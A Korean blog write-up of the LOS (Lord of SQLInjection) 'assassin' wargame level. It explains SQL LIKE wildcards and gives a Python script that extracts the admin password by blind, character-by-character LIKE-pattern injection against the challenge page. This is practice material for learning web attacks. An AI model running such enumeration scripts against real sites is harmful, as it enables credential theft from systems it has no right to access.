반응형
문제
https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php
문제풀이
like 구문은 정규식 사용이 가능하다.
% : 0개 이상의 어떠한 문자열
_ : 밑줄 개수 만큼 문자가 존재
[] : 대괄호 안의 지정된 문자 범위 또는 문자가 존재
[^] : 대괄호 안의 지정된 문자 범위 또는 문자 외의 문자가 존재
파이썬 코드를 작성해서 admin이 출력될 때를 찾았는데, 계속 출력되지 않았다.
아마도 guest의 pw와 겹치는 부분이 존재해서 그런 것 같다.
guest와 중복되는 부분을 고려해서 코드를 작성하면 문제를 해결할 수 있다.
import requests
cookie={'PHPSESSID':''}
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
# flag_len
flag_len=0
len="_"
for i in range(1,10):
query="?pw={}".format(len*i);
res=requests.get(url+query, cookies=cookie)
print(query)
if (res.text.find("<h2>Hello guest</h2>")!=-1):
flag_len=i
break
print("flag_len:{}".format(flag_len))
# flag
flag=""
admin_flag=""
for i in range(1,flag_len+1):
for j in range(48,128):
query="?pw={}{}%".format(flag,chr(j))
res=requests.get(url+query, cookies=cookie)
if (res.text.find("<h2>Hello admin</h2>")!=-1):
admin_flag+=chr(j)
flag+=chr(j)
print(admin_flag)
break
if (res.text.find("<h2>Hello guest</h2>")!=-1):
flag+=chr(j)
admin_flag+=chr(j)
print(flag)
break
print("flag:{}".format(flag))
print(admin_flag)
반응형
'write-up(web) > los' 카테고리의 다른 글
[LOS] zombie_assassin (0) | 2023.01.22 |
---|---|
[LOS] succubus (0) | 2023.01.22 |
[LOS] giant (0) | 2023.01.22 |
[LOS] bugbear (0) | 2023.01.22 |
[LOS] darkknight (0) | 2023.01.22 |